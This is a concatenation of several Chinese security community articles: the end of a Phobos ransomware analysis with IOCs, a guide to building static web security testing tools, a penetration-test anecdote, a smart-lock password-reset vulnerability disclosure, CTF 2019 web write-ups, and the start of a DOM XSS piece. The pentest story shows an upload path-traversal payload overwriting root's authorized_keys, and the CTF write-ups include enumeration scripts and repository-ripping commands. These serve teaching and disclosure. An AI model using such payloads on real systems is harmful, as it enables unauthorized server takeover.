name}）启动我在上面的第 **2** 点中讨论的两个扫描线程 ，以启动该资源。扫描和过滤文件。如我在第 **4**
点中所述，扫描线程然后启动加密线程，并在选择一个文件时注意到加密。
图5.7准备启动扫描线程的共享资源
上面的图5.7显示了从RESOURCE_CONNECTED获得的共享资源（“ \？\ UNC \ VBoxSvr \
vbox_share_folder”），该资源即将调用Sub_405840函数以在该共享资源上启动新的扫描线程。
### 6.监视和扫描新逻辑驱动器的线程
我已经讨论过Phobos扫描本地逻辑驱动器上的文件，以及扫描网络共享资源，这些都是受害者系统的所有现有资源。
还有另一个线程，其主要任务是监视新的逻辑驱动器。例如，受害者连接了USB闪存驱动器或手机，Windows系统将其视为新的逻辑驱动器。这将被该线程捕获。它每秒运行一次检测，并为检测到的任何新逻辑驱动器启动两个新的扫描线程。图5.8显示的伪代码显示了此线程功能的逻辑结构。
图5.8用于扫描新逻辑驱动器的伪代码
## 向受害者显示勒索信息
Phobos的主线程等待所有扫描线程和加密线程完成其工作。然后，它将两个文件info.hta（html版本勒索信息）和info.txt（文本版本勒索信息）拖放到桌面以及受害者系统上可用逻辑驱动器的根目录中。还使用命令“
open”调用API ShellExecuteExW（）以在受害者的屏幕上打开html版本的info.hta，如图6.1所示。
图6.1向受害者显示赎金信息
## 对EKING变异深入分析结论
在这篇文章中，我对Phobos勒索软件的EKING变种进行了深入分析。我已经介绍了如何从原始MS
Word文档样本中下载有效负载文件（cs5.exe），以及Phobos如何将其保持在受害者的系统上。
我主要分析了Phobos的核心任务-扫描和加密受害者系统上的文件。通过这篇文章，我们现在知道它不仅扫描逻辑驱动器上的文件，而且还扫描网络共享资源和新连接的逻辑驱动器。我还详细介绍了Phobos的这种变体如何使用多个线程来完成其工作。
最后，我解释了Phobos在完成加密后如何向受害者显示其勒索信息。
为了保护您的设备免受恶意软件的攻击，我们建议不要打开不受信任来源的电子邮件附件。
## Fortinet解决方案
借助FortiGuard的Web过滤，防病毒和CDR（内容撤防和重建）服务，Fortinet客户已免受此Phobos变种的攻击，如下所示：
下载的URL被FortiGuard Web过滤服务评为“ **恶意网站** ”。
Word文档和下载的有效负载文件被检测为“ **VBA / Agent.KBU！tr** ”和“ **W32 /
Phobos.HGAF！tr.ransom** ”，并被FortiGuard AntiVirus服务阻止。
此外，FortiSandbox将Word文档检测为风险软件。
[FortiMail](https://www.fortinet.com/products/email-security/fortimail.html?utm_source=blog&utm_campaign=2018-q2-fortimail-main-page)用户受到FortiGuard AntiVirus的保护，FortiGuard
AntiVirus可以检测到发送Phobos的原始Word文档，并通过CDR服务进一步加以保护，该服务可用于抵消Office文档中所有宏的威胁。
此外，为了防止设备受到这种方式发送的恶意软件的攻击，我们建议用户不要打开不受信任来源的电子邮件附件。强烈建议对最终用户进行有关如何识别和标记潜在恶意电子邮件的培训。
## IOCS
### URLs
hxxp://178[.]62[.]19[.]66/campo/v/v
### Sample SHA-256
[Word Document]
667F88E8DCD4A15529ED02BB20DA6AE2E5B195717EB630B20B9732C8573C4E83
[Phobos Payload]
6E9C9B72D1BDB993184C7AA05D961E706A57B3BECF151CA4F883A80A07FDD955
## 参考文献：
<https://id-ransomware.blogspot.com/2017/10/phobos-ransomware.html>
* * * | 社区文章 |
# 手把手教你打造Web应用静态安全测试工具
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：飞蝠@阿里安全
利用漏洞清除债务，盗取数据，一键获取XX游戏的所有账户登陆权限，这些看似爽文里的“骚操作”其实早就在现实中上演。
2013年，一个自称RedHack的黑客小组利用土耳其政府网站的Web漏洞，清除了相关人员在政府机构的债务数据。2015年，某安全研究人员公开称，可以通过特定的注入漏洞攻破某知名汽车的网站，获得管理权限，并窃取用户数据。2019年，拥有超过3.5亿用户的在线游戏“XX垒之夜”被爆出一个SQL注入漏洞，可以让攻击者访问所有用户帐户。
这些都是Web应用程序的漏洞，Web应用程序已经广泛应用社交网络、网上支付等各个领域，真正影响人们的生活，因此Web应用中存在的各种安全漏洞越来越引起人们的重视。
为赶在恶意人员之前发现并修复Web应用程序中的安全漏洞，安全人员需要利用各种安全测试技术识别并修复Web应用程序中的缺陷。静态应用安全测试（Static
Application Security Testing
,SAST）由于不需要运行被测程序，具有覆盖率高、自动化程度高、可以在开发生命周期早期使用等特点，是目前被业界广泛采用的应用安全测试技术之一。但是静态应用安全测试作为一种针对应用安全缺陷的自动化检测方法，本质上处理的是一个不可判定问题，理论上不可能同时做到没有误报也没有漏报。
大量的误报会使人对分析工具失去信心，而漏报会造成程序具有较高安全水位的假象，很多情况下减少误报和减少漏报就是一对矛盾体。为尽量减少不必要的漏报和误报，往往需要运用更复杂的分析技术，意味着更高的复杂度，因此分析的精度与分析的速度往往也是一对不可兼得的矛盾体。实用的静态应用安全测试工具需要根据分析目标和应用场景在误报、漏报、效率、易用性、可扩展性之间达到一个合理的平衡。
## 哪些缺陷类型需要“关心”
程序分析工具都有其针对的“分析目标程序属性”（target program
properties），通俗地来说“分析目标程序属性”就是分析工具“关心哪些缺陷类型”。当前许多通用的静态缺陷检测工具往往强调“大而全”，强调能够适应不同的扫描场景，强调能够覆盖更多的缺陷类型，实际上这里存在误区。实际中的程序千变万化，对不同类型的程序,在不同的场景下,人们关注的程序属性不一样，对分析工具的各项要求也不一样。静态分析都会引入某种程度上的抽象，最有效的抽象方法需要充分利用分析目标程序属性本身的特点。明确应用场景和分析目标程序属性（target
program properties）是设计真正实用分析工具的首要任务。
Web应用静态安全测试的主要应用场景在开发阶段而不是开发完成之后，它的重要优势是能够在早期就检测出源码中的安全漏洞，从而大大降低修复安全问题成本，成熟的大型软件开发组织通常将其融入DevSecOps流程中。这更加要求分析工具能够在漏报、误报和效率之间达到合理的平衡，避免不必要地打扰和减缓正常开发流程。
Web应用静态安全测试的分析目标程序属性是常见的Web应用程序安全风险，核心关注的就是OWASP Top 10中列出的安全风险。下图是最新发布的OWASP
Top 10Web应用安全风险：
Web应用程序安全风险和空指针解引用、数组越界、资源泄漏、数值溢出等内存安全程序属性有显著区别。Web应用程序安全风险从程序语义上看更加高层（更加靠近应用层），内存安全则更加底层，更加关注程序中变量的具体取值情况。为了开发真正实用的分析工具，需要充分利用“分析目标程序属性”的特点，选择能够达到最佳平衡的分析算法和策略。
## Web应用安全风险程序属性建模
为了保证静态应用安全测试工具能够无二义性地识别和分析目标缺陷类型，我们将目标缺陷类型的分析配置描述为静态应用安全测试工具能够识别的“规则”。易用且可扩展性好的Web应用静态安全测试工具都应该做到规则和引擎分离。规则描述结构设计的过程本质上是对Web应用程序安全风险知识进行建模的过程。OWASP
Top
10列表中的Web应用安全风险可分为两类：一类是和非正常数据流相关的安全风险，如注入、敏感信息泄露、XML外部实体、跨站脚本和不安全的反序列化。一类是和非正常控制流或状态相关的安全风险，如失效的身份认证、失效的访问控制、安全配置错误、使用含有已知漏洞的组件不足的日志和监控。我们采用两种不同的规则描述模型来支持上述两类Web应用安全风险：污染传播模型和状态机模型。
### 污染传播分析
污染传播分析又被称作信息流分析（information-flow
analysis），它是用于追踪程序中特定数据传播和依赖的一种数据流分析技术。污染传播分析是Web应用安全缺陷检测的主要方法之一，其基本思想是通过对不可信的源头（source）引入的数据进行污染标记，跟踪被标记的污染数据在程序中的传播，若污染数据在进入敏感操作（sink）前未经过恰当的净化操作（sanitizer），则表明存在潜在的安全缺陷。
污染传播规则中的配置包括source、sanitizer、sink、安全类型等。安全类型指的是对于当前目标程序属性来说认为肯定不会污染的类型，例如对于注入类安全风险可以认为所有的枚举类型、布尔类型、日期类型、浮点类型等都是安全的。
对于常见的web注入安全风险，我们的解法是，提供统一的“安全方法”给开发人员调用，这些“安全方法”也是静态分析工具能够识别的统一的净化操作。污染传播分析沿控制流在每个程序位置上计算当前污染变量集合，并在污染变量间建立污染传播依赖关系。
### 状态机分析
理论上来说，Web应用安全缺陷检测所检查的缺陷类型都属于时序安全属性（temporal safety
properties），安全属性描述的是“坏的事情不会发生”一类属性，通常可以描述成如下统一模式：“程序中某些动作或行为构成时序上的约束，一旦违背这种约束即被认为是一个缺陷”。
有限状态机（finite state
machine）是描述时序安全属性的有效工具，污点传播相关的缺陷类型本质上也属于时序安全属性，即“来自source的数据在进入sink点之前必须经过sanitizer操作，否则报告一个缺陷”（但为了缺陷报告时更好地给出污染在变量间的传播路径，将其采用专门的污染传播分析进行建模）。状态机规则中的配置包括状态集合、状态间的转换集合以及各转换所需满足的条件集合等。
在实际的状态机分析过程中还需要引入状态机实例的概念，在程序中的每个分析入口函数处会创建一个状态机实例，并沿控制流在每个程序位置上的计算它的可能状态。如果一旦某个状态机实例的当前可能状态中出现了error状态则报告一个缺陷。
## 分析策略选择
从不同的抽象和近似精度角度，静态分析方法可以区分是否流敏感（flow sensitive）、路径敏感(path
sensitive)、上下文敏感(context sensitive)、域敏感(field sensitive)、对象敏感(object
sensitive)等。
具体来说流敏感需要在分析中考虑语句的执行顺序，路径敏感需要在分析中考虑分支判断条件的组合关系并排除不可达路径(infeasible
path)，上下文敏感需要在分析中考虑被调函数在不同调用点的上下文影响，域敏感需要在分析中区分同一对象的不同字段，对象敏感需要在分析中区分同一字段的不同对象。一般来说，敏感性支持得越多，分析精度越高，实现越复杂，分析速度越慢。对于实际的静态分析工具来说，最好的选择是根据分析目标和应用场景的需要花最少的代价获得最大的回报。对于Web应用程序安全风险来说，引入路径敏感的“性价比”并不高。
污染传播分析和状态机分析本质上都可纳入传统的数据流分析框架，污染传播分析在每个程序位置上计算当前污染变量集合，其对应数据流分析值为“当前污染变量集合”。状态机分析在每个程序位置上计算状态机实例的的当前可能变量集合，其对应数据流分析值为“状态机实例的的当前可能变量集合”。污染变量集合和可能状态集合的转换函数都是满足分配率。
传统数据流分析基于迭代收敛完成过程内数据流分析，基于图可达算法完成过程间数据流分析。对于本文所关注的静态应用安全测试分析目标程序属性来说，传统数据流分析算法的“性价比”太低。传统数据流分析中的迭代主要是因为实际的程序中存在循环和递归结构，需要通过迭代并收敛于不动点来处理控制流图中循环回边带来的影响。而实际上对于污点分析和状态机分析（Web应用安全风险这类目标程序属性）来说控制流图中的回边在实际中分析结果中的影响很小。至于图可达算法考虑的过程间调用和返回匹配问题可以在搜索污染传播跟踪路径时进行单独处理。在不考虑循环和递归结构的前提下（相当于循环和递归只展开1次），污染传播分析和状态机分析可以做到接近线性复杂度O(n)，n为程序中的语句条数。
## 函数摘要
函数摘要(function
summary)是静态分析过程中常用的一种过程间分析技术，它根据函数内分析结果生成被调函数的摘要信息，以此替代函数的实际展开，从而避免同一个函数的多次展开分析，提高函数间分析效率。函数摘要是对已展开分析过函数的“抽象和总结”，函数摘要可以看作是以函数为单位，对函数实际语义的抽象。其理想的效果是：使用函数摘要得到的计算结果等于展开实际函数调用得到的计算结果。
需要指出的是函数摘要是对函数实际语义的抽象，这种抽象必然是面向实际分析目标程序属性特点的，应该根据不同的分析目标程序属性设计并收集对应的函数摘要。由于静态分析的不可判定性，通用的精确的函数摘要必然退化为函数的另一个完整实现。由于污染变量集合和可能状态集合的转换函数满足分配律，面向污染传播和状态机的函数摘要完全可以满足：使用函数摘要得到的计算结果=展开实际函数调用得到的计算结果。
## 跨应用、多语言支持
这里所谓的“跨应用”，其实用“跨扫描单元”来表述可能更为准确，“扫描单元”是扫描过程中确定和区分被扫对象的基本管理单位，它与缺陷的关闭与合并，权限管理，扫描中间结果的记录等有关，直观地理解就是一次源码扫描过程中的被扫对象。
目前市面上的静态应用安全测试工具都局限于处理单个扫描单元内部的污染数据传播，无法处理跨扫描单元传播的场景，随着微服务/Serverless/FaaS等开发技术和模式的逐步演进，业务开发代码日趋碎片化，使得这一问题愈发严重，成为静态应用安全测试技术的重大挑战。跨扫描单元所关注的单元间依赖关系分为两类：一类是通过引用二三方包而形成的依赖关系，另一类是通过各种远程调用服务(remote
procedure call ,
RPC)形成的依赖关系。前一类依赖关系通常在编译时可以通过类似maven这样的机制获取，后一类依赖关系通常需要通过分析具体的配置文件获取或者扫描时由用户额外提供。
最直接的跨单元扫描解决方案是将所有相关扫描单元代码进行合并扫描。但是在实际中，这样会使得单次扫描的代码量急剧膨胀而难以实现。另外，对于被依赖扫描单元来说，每次的重复扫描也将会是极大的资源浪费。
在实际中通常平均每个“应用”依赖的其他扫描单元（包括二三方包依赖和RPC依赖）超过200，最大甚至超过2000。对于这些依赖非常多的“应用”，所有相关扫描单元代码合并后的代码将会超过1000万行。本文所述分析工具当前运行节点的典型配置为8核32G内存，单个扫描任务要求扫描时间不超过10分钟。工具的内存开销与代码行数基本成线性关系，实际中平均每10万行代码消耗内存约2G左右。时间开销与代码行数关系略高于O（n），10万行代码的扫描时间约1分钟左右。因此合并扫描的方案在实际中由于空间、时间以及存储成本的限制而无法实现。
一种更好的跨单元扫描解决方案是：首先，在不损失精度的前提下，以扫描单元为单位建立被依赖单元的静态应用安全检测中间结果表示，并将这些中间结果持久化地保存下来；其次，在其他单元扫描前，先依据其依赖关系将需要的中间结果下载到本地，并应用于当前单元的扫描过程。
根据上一节的讨论，基于污染传播和状态机的中间结果表示核心即是函数摘要。另外，对于通常的RPC调用来说，只要在接口层面进行了统一，具体用何种语言实现对调用方是完全透明的，因此，基于函数摘要的跨单元扫描解决方案天然支持跨语言。上述方案如下图所示：
## 经验与体会
本文讨论的Web应用安全静态测试工具主要的使用方式是与应用持续集成/发布平台对接，作为持续集成/发布的一个环节，在发布之前集成发布平台调用工具进行代码安全扫描，如果发现安全缺陷则通知用户进行修复，修复后才可以发布上线。在这样的应用场景下有如下几点总结和体会：
1\. 实用的静态应用安全测试工具通常是根据分析目标和应用场景在误报、漏报、效率、易用性、可扩展性之间达到一个合理的平衡。
2\. Web应用安全风险和通用的内存安全漏洞有不同的特点，这些特点决定了分析算法和策略的选择。
3\. 函数摘要对于Web应用安全风险相关的静态分析来说是一种重要的技术，它不仅可以大大提高应用内扫描的效率，也是支持跨应用多语言扫描的一种方法。
静态应用安全测试方法有许多天然的优点，但也有其固有的缺点，在实际中亟需将它与其他方法结合起来，才能更好地面对不断涌现的Web应用安全检测新场景和新需求。 | 社区文章 |
前言：本来还准备学习，突然领导一个电话叫我起床干活，我真是开心极了o(╥﹏╥)o。
初次投稿，大佬们包涵。
1.：
又开始辛苦工作了，扫描器辛苦了
fuzz开始，扫到一处api文档
打开一看好家伙，泄露了一些配置相关信息，以及真实ip，这里真实IP没做保护
那就老样子扫描器干活，我负责嗑瓜子，幻想着有朝一日给领导一个木木哒。
IP是云机器，按照标准思路，先扫描下他端口
已知信息linux服务器，有个web项目
打开瞅瞅
不看不要紧，存在未授权的上传功能点，好了，入口就是你了
直接上马
好消息是上传上去了，坏消息是不执行
不能执行，呜呜呜┭┮﹏┭┮
当我百思不得发泄，可能没机会给领导么么哒的时候，突然蹦出个思路，尝试跨目录看看
还真行
6，emo了半小时，操作还是来了
既然能跨目录，看能不能跨到定时任务呢直接反弹shell呢
nono，格局小了，我直接跨root替换秘钥看看（已授权操作）
直接开干
../../../../../../../root/.ssh/authorized_keys
替换公钥
连接到服务器，成功拿下服务器权限
总结：
前期信息收集的越全面，可能存在的利用点风险面会更多，中期多思考，多尝试，拿下目标后才会成就感满满。
继续睡觉，明天给领导么么哒(づ￣ 3￣)づ。 | 社区文章 |
作者: **启明星辰ADLab**
#### Bug/Vul/Patch
没有人可以逃离生老病死，我们都知道这是自然规律；同样，没有软件可以逃离Bug(缺陷)、Vul(漏洞)、Patch(补丁)，其实这也是自然规律。因为软件开发是一项复杂的活动，在开发的时候是很难预计所有可能会发生的条件，甚至随着时间的推演，开发时安全的技术在后来也会变得不安全，比如一些软件采用
MD5 方式来存储口令，如今已经是不安全的了。
为了减少软件的缺陷，软件供应商一方面在"未雨绸缪"：GS /DEP /SAFESEH /ASLR /SANDBOX /SIGNATURE /CFI
/SDL等技术先后被提出并实施，在一定程度上主动地减少缺陷，也主动地阻止漏洞利用，保护软件用户的安全。除了主动出击，另外一方面，供应商针对发现的漏洞及时的开发补丁程序并分发部署，比如微软每个月定时“大补丸”、苹果的系统“升级包”等。针对高危漏洞，供应商往往会紧急发布补丁，以期最大限度降低软件用户的损失。
在互联网领域中，未雨绸缪和及时补丁已是常态化，漏洞造成的损失通常可以快速得到控制。然而，启明星辰积极防御实验室（ADLab）研究发现，在其他领域安全漏洞并没有得到重视，补丁修复滞后十分严重，用户长期处于高危漏洞的威胁中。例如，最近ADLab就发现某国际知名厂商智能锁的高危漏洞迟迟未修复，并且还发现了新的漏洞。
#### 被冷落的Vulnerability
该国际知名厂商的智能锁具备多种打开方式：
1.传统钥匙开锁 2.面板密码开锁 3.APP蓝牙开锁
要使用蓝牙开锁功能，用户需要在APP中使用自己的手机号注册账号，然后扫描智能锁的二维码进行绑定。该厂商提供的APP可以在苹果官方应用商店、主流安卓应用商店下载。2017年3月，ADLab对安卓APP进行了安全性分析。
通过逆向分析APP的反汇编代码和网络数据报文交互逻辑，发现存在任意账户密码重置漏洞，漏洞细节如下。
1）该APP支持通过手机验证码"重置密码"
2）"重置密码"的数据请求报文如下，这个接口的使用没有任何限制，只需要提交待重置账户的手机号即可。
3）"重置密码"的数据应答报文如下，报文中的data字段就是发给重置账户手机号的验证码。这意味着，验证码不但发送给了手机，还直接返回给了请求者。从而导致请求者可以获取任意手机号码的验证码，进而重置任意账户的登陆密码。
4) 分析APP对"重置密码"的应答处理，发现只检查了status域是否为真，并没有使用data域。即只检查验证码是否发送成功，并没有期望返回验证码。
ADLab发现该高危漏洞后立即做了上报工作，其处理时间线如下：
5)
该高危漏洞距离公开时间已经一月有足，厂商至今仍然未修复，让广大用户持续暴露在风险中。为了验证这个漏洞的实际危害，ADLab进行了物理测试，证明通过该漏洞可以直接打开智能锁，前提只需知道锁绑定的手机号，如[视频](https://v.qq.com/x/page/z0520vvcf7q.html)所示。
验证完重置漏洞的实际危害后，ADLab做了进一步安全分析，发现了一个更加高危的漏洞，通过该漏洞可以获取该智能锁产品的全部用户资料，包括手机号和开门密码。该漏洞不依赖手机验证码，利用起来会更加隐蔽，因此危害更大。ADLab已经对该漏洞做了上报工作，只是这一次要等到什么时候才能修复呢？
#### 结束语
软硬件系统被爆出漏洞已经是常态了，顶尖科技公司(如：谷歌、微软)、起步微型公司(如：创业公司)、甚至是安全公司的产品都有定期漏洞披露。厂商在开发时可以通过使用带安全功能的IDE、开发框架、中间件等，也可以在产品发布前进行安全性测试，这些未雨绸缪手段可以大幅提升产品的安全。除此之外，厂商在应急响应和补丁修复上应当给予足够重视。对于高危漏洞不及时修复，不仅伤害厂商自身，更是伤害广大的用户。
所以我们怀揣着满满的情怀提醒：及时修复！
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
## STEM CTF: Cyber Challenge 2019 Write-ups
好久没有玩CTF，跪了(QAQ）本文是关于web题目的解析后面两题是赛后，看着大佬的思路进行复现的，文末已经给出相应的参考文章
什么都不说了，先跪就好(Orz)
### Turing Test
<http://138.247.13.111/>
这一题被称为热身题，只需要结合这个维基百科就可以得到flag:<https://en.wikipedia.org/wiki/Alan_Turing>
成功拿到flag：
Flag: MCA{sms_2fa_is_bad_also}
### Super Secret Hidden Service
<https://138.247.13.115/>
由给出的链接进入网站发现Google对于这个网站的返回报错处理：
这只是意味着caddy服务响应客户端发送的服务器名称，因为我们发送了这个IP，我们得到了错误响应，所以我们需要知道这个域名。
具体原因可以参考：<https://nvd.nist.gov/vuln/detail/CVE-2018-19148>
我们使用nmap进行简单的扫描就会得到
访问扫描得到的`DNS:138.247.13.115.xip.io`就可以得到flag：
### TODO
<http://138.247.13.110/>
随手输入内容进行简单的测试，发现输入的内容重定向到：<http://138.247.13.110/todolist/1000/>
查看网页源代码发现两个自定义的js脚本
lists.js 这个是对我们有用的脚本，仔细读取后面的内容可以发现
// send put request using the data of the get for the same id
var todoURL = '/api/todos/' + todoID + '/'
$.getJSON(todoURL, function(data) {
data.is_finished = isFinished;
if (isFinished) {
data.finished_at = moment().toISOString();
} else {
data.finished_at = null;
}
$.ajax({
url: todoURL,
type: 'PUT',
contentType: 'application/json',
data: JSON.stringify(data),
success: function() {
location.reload();
}
});
我们可以访问这里面的数据
因此我们只需要使用burp，对<http://138.247.13.110/api/todos/><id>/其中的id从1遍历到1000即可</id>
得到flag：MCA{al3x4_5et_a_r3minder}
或者写一个脚本：
import requests
import re
url = 'http://138.247.13.110/todolist/'
for i in range(1,1001):
print('Requesting ' + url + str(i))
response = requests.get(url + str(i))
stripped = re.sub('<[^<]+?>', '', response.text)
if 'MAC' in stripped:
print(stripped.strip())
break
### My First Blog
由于能力原因，本题并未能够做出，这一题的思路后面将会给出参考文章
<http://138.247.13.106/>
Bazaar - 世界上最好的版本控制！是一个线索，我们可以使用工具dvcs-ripper 找到Bazaar的源码
工具链接：<https://github.com/kost/dvcs-ripper>
% ~/CTF/tools/dvcs-ripper/rip-bzr.pl -v -u http://138.247.13.106/.bzr/
[i] Downloading bzr files from http://138.247.13.106/.bzr/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found branch-format
[d] found branch/branch.conf
[d] found branch/format
[d] found branch/last-revision
[d] found branch/tags
[d] found checkout/conflicts
[d] found checkout/dirstate
[d] found checkout/format
[!] Not found for checkout/merge-hashes: 404 Not Found
[d] found checkout/views
[d] found repository/format
[d] found repository/pack-names
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.rix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.rix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/packs/c325a543411b3717bd63b6cc879e3d50.pack
[d] found repository/packs/c325a543411b3717bd63b6cc879e3d50.pack
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.iix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.iix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.cix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.cix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.tix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.tix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Got items with bzr check: 0
[i] Items fetched: 0
[i] Finished fetching (5/5)
[i] Checking out/Reverting source by calling bzr revert
N index.php
现在我们可以看到以前提交的源代码文件
% bzr log
------------------------------------------------------------ revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!
% bzr revert
% cat index.php|grep MCA
// Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}
### Medium is overrated
<http://138.247.13.104/>
这一题我们可以使用与上面一题同样的方式进行解答
$ ~/CTF/tools/dvcs-ripper/rip-bzr.pl -v -u http://138.247.13.104/.bzr/
然后我们可以为index.php文件显示提交历史记录（-p：显示每个修订版本的不同）：
% bzr log -p index.php
------------------------------------------------------------ revno: 167
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 18:00:21 -0500
message:
Oops
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 23:00:02 +0000
+++ index.php 2018-12-06 23:00:21 +0000
@@ -28,5 +28,4 @@
?>
</div>
</body>
-</html>
-<!-- 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077 -->
\ No newline at end of file
+</html>
\ No newline at end of file
------------------------------------------------------------ revno: 166
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 18:00:02 -0500
message:
CentOS is just RedHat
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 22:54:52 +0000
+++ index.php 2018-12-06 23:00:02 +0000
@@ -10,6 +10,8 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
+<h1>CentOS is just RedHat</h1>
+<p>A friend of mine was explaining how the company he works for pays for RedHat. I don't understand why they are LITERALLY throwing their money away since CentOS is just RedHat. In fact, CentOS is even better than RedHat since it discovers the fastest mirror automatically. I'm applying for one of their open job reqs just to give them a piece of my mind.</p>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
@@ -26,4 +28,5 @@
?>
</div>
</body>
-</html>
\ No newline at end of file
+</html>
+<!-- 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077 -->
\ No newline at end of file
------------------------------------------------------------ revno: 156
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 17:54:52 -0500
message:
Nevermind on the blog post
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 22:52:42 +0000
+++ index.php 2018-12-06 22:54:52 +0000
@@ -10,11 +10,6 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
-<h1>Encryption is so cool!</h1>
-<p>It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:</p>
-<p>NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==</p>
-<p>There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!</p>
-<hr>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
------------------------------------------------------------ revno: 155
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 17:52:42 -0500
message:
Add a new blog post!
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 18:48:25 +0000
+++ index.php 2018-12-06 22:52:42 +0000
@@ -10,6 +10,11 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
+<h1>Encryption is so cool!</h1>
+<p>It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:</p>
+<p>NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==</p>
+<p>There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!</p>
+<hr>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
------------------------------------------------------------ revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!
diff:
=== added file 'index.php'
--- index.php 1970-01-01 00:00:00 +0000
+++ index.php 2018-12-06 18:48:25 +0000
@@ -0,0 +1,29 @@
+<html>
+<head>
+<title>My Blog</title>
+<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
+</head>
+<body>
+
+<div class="container">
+<div class="jumbotron">
+<h1 class="display-4">My Blog</h1>
+<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
+</div>
+<h1>I love Canonical</h1>
+<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
+<ul>
+<li>Juju - The worlds best configuration management tool!</li>
+<li>Bazaar - The worlds best version control!</li>
+<li>Ubuntu - The worlds best OS!</li>
+<li>Launchpad - GitHub? Gross!</li>
+</ul>
+<hr>
+<h1>Learning PHP</h1>
+<p>I recently learned about PHP and I can't stop switching everything over to it. In fact, this blog is now powered by PHP, I think! I changed the file extension at least, and added a little PHP code below here. That should pretty much do it right? I have the PHP code commented out for now since I can't seem to get it to work right. I'll have to look into it later.</p>
+<?php
+// Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}
+?>
+</div>
+</body>
+</html>
\ No newline at end of file
所以很容易拿到私钥：`NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==`
使用base64进行解密就会得到：
由于AES
ECB密钥必须是：`6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077`
使用在线解密工具：<http://aes.online-domain-tools.com/>
得到flag:`MCA{I$love$bitcoin$so$much!}`
参考资料：
<https://rawsec.ml/en/STEM-CTF-2019-write-ups/> | 社区文章 |
## 0x00
DOM Based XSS由于其基于流量隐蔽的特点使很多人在制定检测策略的时候会把它单独提出来。
关于漏洞和自动化检测策略详见参考链接，直奔主题吧，在漏洞挖掘中关于DOM
